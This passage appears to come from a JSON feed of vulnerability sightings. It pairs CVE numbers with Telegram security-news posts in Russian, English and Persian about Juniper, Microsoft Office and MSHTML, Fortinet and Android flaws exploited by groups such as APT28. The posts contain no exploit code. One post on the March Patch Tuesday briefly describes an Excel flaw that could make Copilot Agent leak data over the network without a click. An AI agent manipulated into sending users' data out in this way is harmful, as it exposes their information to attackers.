\u0441\u0435\u0442\u044f\u043c\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0444\u0438\u043b\u044c\u0442\u0440\u044b \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u0430 \u0438\u043b\u0438 ACL. \u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u044b \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u0443\u044e \u0441\u043b\u0443\u0436\u0431\u0443.\n\n\u0413\u0440\u0443\u043f\u043f\u0430 \u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f Juniper SIRT \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u043d\u0430 \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u0435\u0439 \u043d\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0437\u043b\u043e\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u041e\u0434\u043d\u0430\u043a\u043e \u0432 \u043a\u0438\u0431\u0435\u0440\u043f\u043e\u0434\u043f\u043e\u043b\u044c\u0435 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 CVE \u0432\u0441\u0435\u0433\u0434\u0430 \u043a\u0430\u043a \u0432\u0438\u0448\u0435\u043d\u043a\u0430 \u043d\u0430 \u0442\u043e\u0440\u0442\u0435, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043a\u043e\u0433\u0434\u0430 \u0432 \u043e\u0441\u043d\u043e\u0432\u0435 \u0441\u0442\u043e\u043b\u044c \u00ab\u0430\u043f\u043f\u0435\u0442\u0438\u0442\u043d\u043e\u0435\u00bb \u0441\u0435\u0442\u0435\u0432\u043e\u0435 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u0435.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u0432 \u043c\u0430\u0440\u0442\u0435 2025 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u0435 APT\u00a0\u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043b\u0438 \u0431\u044d\u043a\u0434\u043e\u0440\u044b\u00a0\u043d\u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0430\u0445 Junos OS MX, \u0432\u043d\u0435\u0434\u0440\u044f\u044f \u0440\u0430\u0437\u043d\u043e\u0432\u0438\u0434\u043d\u043e\u0441\u0442\u0438  TinyShell, \u0430 \u043c\u0435\u0441\u044f\u0446\u0430\u043c\u0438 \u0440\u0430\u043d\u0435\u0435 J-magic \u043e\u043a\u0443\u0447\u0438\u0432\u0430\u043b \u0442\u0440\u0430\u0444\u0438\u043a \u043d\u0430 \u043e\u0431\u044a\u0435\u043a\u0442\u0430\u0445 \u0432 \u0441\u0444\u0435\u0440\u0435 \u043f\u043e\u043b\u0443\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u0438\u043a\u043e\u0432, IT \u0438 \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u043a\u0438.\n\n\u041d\u043e \u0431\u043e\u043b\u0435\u0435 \u0432\u043e\u0441\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u044b \u0442\u0430\u043a\u0438\u0435 CVE \u043f\u043e \u0434\u0440\u0443\u0433\u0443\u044e \u0441\u0442\u043e\u0440\u043e\u043d\u0443 \u043a\u0438\u0431\u0435\u0440\u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442\u0430. \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u043d\u0435\u043e\u0434\u043d\u043e\u043a\u0440\u0430\u0442\u043d\u043e \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0438\u0441\u044c \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044f\u043c\u0438, \u043a\u0430\u043a \u0432\u043e\u043f\u0440\u0435\u043a\u0438 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0430\u043c \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0438 \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0430\u043c \u0438\u043d\u0444\u043e\u0441\u0435\u043a\u0430 \u0430\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0441\u043a\u0438\u0435 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0433\u0438\u0433\u0430\u043d\u0442\u044b \u043d\u0435\u0433\u043b\u0430\u0441\u043d\u043e \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u0447\u0430\u043b\u0438 \u0441 \u043d\u0430\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0441\u043f\u0435\u0446\u0441\u043b\u0443\u0436\u0431\u0430\u043c\u0438.\n\n\u0421 Juniper \u0432 \u044d\u0442\u043e\u043c \u043f\u043b\u0430\u043d\u0435 \u0432\u0441\u0435 \u043e\u0447\u0435\u043d\u044c \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e: \u0432\u0441\u0435 \u043d\u0438\u043a\u0430\u043a \u043d\u0435 \u0437\u0430\u0431\u0443\u0434\u0435\u0442\u0441\u044f \u0441\u043a\u0430\u043d\u0434\u0430\u043b \u0441 \u0410\u041d\u0411\u044d\u0448\u043d\u044b\u043c\u0438 \u0431\u044d\u043a\u0434\u043e\u0440\u0430\u043c\u0438 \u0432 \u041e\u0421 ScreenOS \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u0430 Juniper Netscreen.", "creation_timestamp": "2026-02-27T16:00:08.000000Z"}, {"uuid": "3ff21af1-9b30-4065-8397-57acd3c1d920", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21513", "type": "exploited", "source": "https://t.me/thehackernews/8511", "content": "\ud83d\uded1 Microsoft fixed CVE-2026-21513 (CVSS 8.8) in February after confirming zero-day exploitation in MSHTML.\n\nA flaw in ieframe.dll let attackers bypass Mark-of-the-Web and IE ESC, enabling potential code execution. \n\nAkamai linked a malicious LNK sample to infrastructure associated with APT28.\n\n\ud83d\udd17 Read \u2192 https://thehackernews.com/2026/03/apt28-tied-to-cve-2026-21513-mshtml-0.html", "creation_timestamp": "2026-03-02T10:44:01.000000Z"}, {"uuid": "9bb6eb7f-e041-4a22-a970-4aeb310385ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "exploited", "source": "https://t.me/cibsecurity/88440", "content": "\ud83d\udd8b\ufe0f APT28 Uses Microsoft Office CVE-2026-21509 in Espionage-Focused Malware Attacks \ud83d\udd8b\ufe0f\n\nThe Russialinked statesponsored threat actor known as APT28 aka UAC0001 has been attributed to attacks exploiting a newly disclosed security flaw in Microsoft Office as part of a campaign codenamed Operation Neusploit. Zscaler ThreatLabz said it observed the hacking group weaponizing the shortcoming on January 29, 2026, in attacks targeting users in Ukraine, Slovakia, and Romania, three.\n\n\ud83d\udcd6 Read more.\n\n\ud83d\udd17 Via \"The Hacker News\"\n\n----------\n\ud83d\udc41\ufe0f Seen on @cibsecurity", "creation_timestamp": "2026-02-03T12:02:50.000000Z"}, {"uuid": "a779bcf2-eb8d-4fcd-9905-61c30cc65e38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "published-proof-of-concept", "source": "https://t.me/thehackernews/8380", "content": "\ud83d\udea8\ud83d\udee1\ufe0f Fortinet Fixes Critical FortiClientEMS RCE (CVE-2026-21643, CVSS 9.1).\n\nSQL injection flaw enables unauthenticated remote command execution via crafted requests. Affects EMS 7.4.4 (patch available).\n\nSeparate FortiCloud SSO bug is actively exploited for admin persistence and firewall config theft.\n\n\ud83d\udd17 See affected versions and patch guidance \u2192 https://thehackernews.com/2026/02/fortinet-patches-critical-sqli-flaw.html", "creation_timestamp": "2026-02-10T04:44:13.000000Z"}, {"uuid": "9883816d-9b35-471d-b22b-d55ce9f0cebd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21262", "type": "seen", "source": "https://t.me/true_secator/7981", "content": "\u041f\u043e\u0434\u043a\u0430\u0442\u0438\u043b \u043c\u0430\u0440\u0442\u043e\u0432\u0441\u043a\u0438\u0439 PatchTuesday \u043e\u0442 Microsoft \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c 79 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f 2 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b\u0445 0-day.\n\n\u0412 \u0440\u0430\u043c\u043a\u0430\u0445 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0442\u0440\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0434\u0432\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 RCE, \u0430 \u0442\u0440\u0435\u0442\u044c\u044f - \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438.\n\n\u0412 \u0446\u0435\u043b\u043e\u043c, \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u044f\u043c \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c: 46 - EoP, 2 - \u043e\u0431\u0445\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, 18 - RCE, 10 - \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, 4 - DoS, 4 - \u043f\u043e\u0434\u043c\u0435\u043d\u0430 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041f\u043e\u043c\u0438\u043c\u043e \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u043c\u0438\u043a\u0440\u043e\u043c\u044f\u0433\u043a\u0438\u0435 \u0432 \u044d\u0442\u043e\u043c \u043c\u0435\u0441\u044f\u0446\u0435 \u0437\u0430\u043a\u0440\u044b\u043b\u0438 9 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Microsoft Edge, Mariner, Payment Orchestrator Service, Azure \u0438 Microsoft Devices Pricing Program, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438\u00a0\u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows 10 (KB5078885).\n\n\u041a \u0447\u0438\u0441\u043b\u0443 \u0434\u0432\u0443\u0445 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b\u0445 \u043d\u0443\u043b\u0435\u0439 \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f:\n\n- CVE-2026-21262: \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0432 SQL Server \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0432 \u0441\u0435\u0442\u0438.\n \n\u041a\u0430\u043a \u043f\u043e\u044f\u0441\u043d\u044f\u044e\u0442 \u0432 Microsoft, \u044d\u0442\u0443 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u042d\u0440\u043b\u0430\u043d\u0434 \u0421\u043e\u043c\u043c\u0430\u0440\u0441\u043a\u043e\u0433, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0434\u0435\u043b\u0438\u043b\u0441\u044f \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u0443 \u0441\u0435\u0431\u044f \u043d\u0430 \u0441\u0430\u0439\u0442\u0435.\n\n- CVE-2026-26127: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0435 .NET, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0443\u044e \u043a DoS.\n\n\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 Microsoft \u043f\u043e\u044f\u0441\u043d\u0438\u043b\u0438, \u0447\u0442\u043e \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0447\u0442\u0435\u043d\u0438\u044f \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e\u0433\u043e \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d\u0430 \u0432 .NET \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0440\u0435\u0442\u0438\u0442\u044c \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u0441\u043b\u0443\u0433 \u043f\u043e \u0441\u0435\u0442\u0438. \u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u0431\u044b\u043b \u043f\u0440\u0438\u043f\u0438\u0441\u0430\u043d \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u043c\u0443 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e.\n\nMicrosoft \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0434\u0432\u0435 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (CVE-2026-26110 \u0438 CVE-2026-26113), \u043e\u0431\u0435 \u0432 Microsoft Office, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u044b \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u043d\u0435\u043b\u044c \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0441\u043b\u0435\u0434\u0443\u0435\u0442, \u0432 \u043f\u0435\u0440\u0432\u0443\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c. \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435.\n\n\u041e\u0441\u043e\u0431\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u0435\u0441 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0432 Microsoft Excel (CVE-2026-26144), \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u043d\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 Microsoft Copilot.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0432\u0448\u0438\u0439 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u043e\u0433 \u0431\u044b \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c Copilot Agent \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u043f\u0440\u0435\u0434\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0442\u0440\u0430\u0444\u0438\u043a, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u043e \u0431\u044b \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0438\u0442\u044c \u0430\u0442\u0430\u043a\u0443 \u0441 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0431\u0435\u0437 \u0435\u0434\u0438\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u043a\u0430.\n\n\u041f\u043e\u043b\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u0441 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c \u043a\u0430\u0436\u0434\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c - \u0437\u0434\u0435\u0441\u044c.", "creation_timestamp": "2026-03-11T10:00:08.000000Z"}, {"uuid": "4b9a7068-fb34-4742-908d-abe427c3101b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "exploited", "source": "https://t.me/xakep_ru/18882", "content": "\u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 APT28 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442 \u0441\u0432\u0435\u0436\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Microsoft Office\n\n\u0412\u0441\u0435\u0433\u043e \u0447\u0435\u0440\u0435\u0437 \u0442\u0440\u0438 \u0434\u043d\u044f \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0430\u0442\u0447\u0430 \u0434\u043b\u044f Microsoft Office \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 APT28 \u043d\u0430\u0447\u0430\u043b\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-21509 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043f\u0440\u043e\u0442\u0438\u0432 \u0443\u043a\u0440\u0430\u0438\u043d\u0441\u043a\u0438\u0445 \u0438 \u0435\u0432\u0440\u043e\u043f\u0435\u0439\u0441\u043a\u0438\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439.\n\nhttps://xakep.ru/2026/02/04/cve-2026-21509-atp28/", "creation_timestamp": "2026-02-04T15:36:17.000000Z"}, {"uuid": "6a6816bd-84bc-4a14-a411-a8a35aa219d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "exploited", "source": "https://t.me/xakep_ru/18844", "content": "Microsoft \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 0-day \u0432 Office, \u0442\u0430\u043a \u043a\u0430\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0445\u0430\u043a\u0435\u0440\u044b\n\n\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 Microsoft \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0432\u043d\u0435\u043f\u043b\u0430\u043d\u043e\u0432\u044b\u0435 \u043f\u0430\u0442\u0447\u0438 \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Office, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0443\u0436\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u043b\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u2014 \u043e\u0442 Office 2016 \u0434\u043e Microsoft 365 Apps for Enterprise.\n\nhttps://xakep.ru/2026/01/28/cve-2026-21509/", "creation_timestamp": "2026-01-28T12:35:25.000000Z"}, {"uuid": "138e6f3d-77f6-49d8-b417-c2f5cf775e70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21385", "type": "exploited", "source": "https://t.me/xakep_ru/19044", "content": "\u0412 Android \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0438 0-day, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0443\u044e \u0441 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u043c\u0438 Qualcomm\n\n\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u043c\u0430\u0440\u0442\u043e\u0432\u0441\u043a\u0438\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f Android, \u0441\u0443\u043c\u043c\u0430\u0440\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0432 129 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 \u2014 0-day \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Qualcomm, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0443\u0436\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\nhttps://xakep.ru/2026/03/06/cve-2026-21385/", "creation_timestamp": "2026-03-06T17:35:39.000000Z"}, {"uuid": "6e915af6-7ff4-4dd2-af8b-8e19dd47c82c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "seen", "source": "https://t.me/ics_cert/1397", "content": "\u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0631\u0627\u0628\u0637 \u0648\u0628 \u0633\u0631\u0648\u0631 \u0645\u062f\u06cc\u0631\u06cc\u062a \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u06cc Fortinet FortiClient Enterprise Management Server (EMS) \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0639\u062f\u0645 \u0627\u062a\u062e\u0627\u0630 \u062a\u062f\u0627\u0628\u06cc\u0631 \u0645\u062d\u0627\u0641\u0638\u062a\u06cc \u0628\u0631\u0627\u06cc \u0633\u0627\u062e\u062a\u0627\u0631 \u062f\u0631\u062e\u0648\u0627\u0633\u062a SQL \u0627\u0633\u062a. \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0647 \u0646\u0641\u0648\u0630\u06af\u0631\u06cc \u06a9\u0647 \u0628\u0647 \u0635\u0648\u0631\u062a \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0639\u0645\u0644 \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u0627\u062c\u0627\u0632\u0647 \u062f\u0647\u062f \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u062f\u0644\u062e\u0648\u0627\u0647 \u0631\u0627 \u0627\u0632 \u0637\u0631\u06cc\u0642 \u0627\u0631\u0633\u0627\u0644 \u062f\u0631\u062e\u0648\u0627\u0633\u062a\u200c\u0647\u0627\u06cc HTTP \u0628\u0647\u200c\u0637\u0648\u0631 \u062e\u0627\u0635 \u0633\u0627\u062e\u062a\u0647 \u0634\u062f\u0647 \u0627\u062c\u0631\u0627 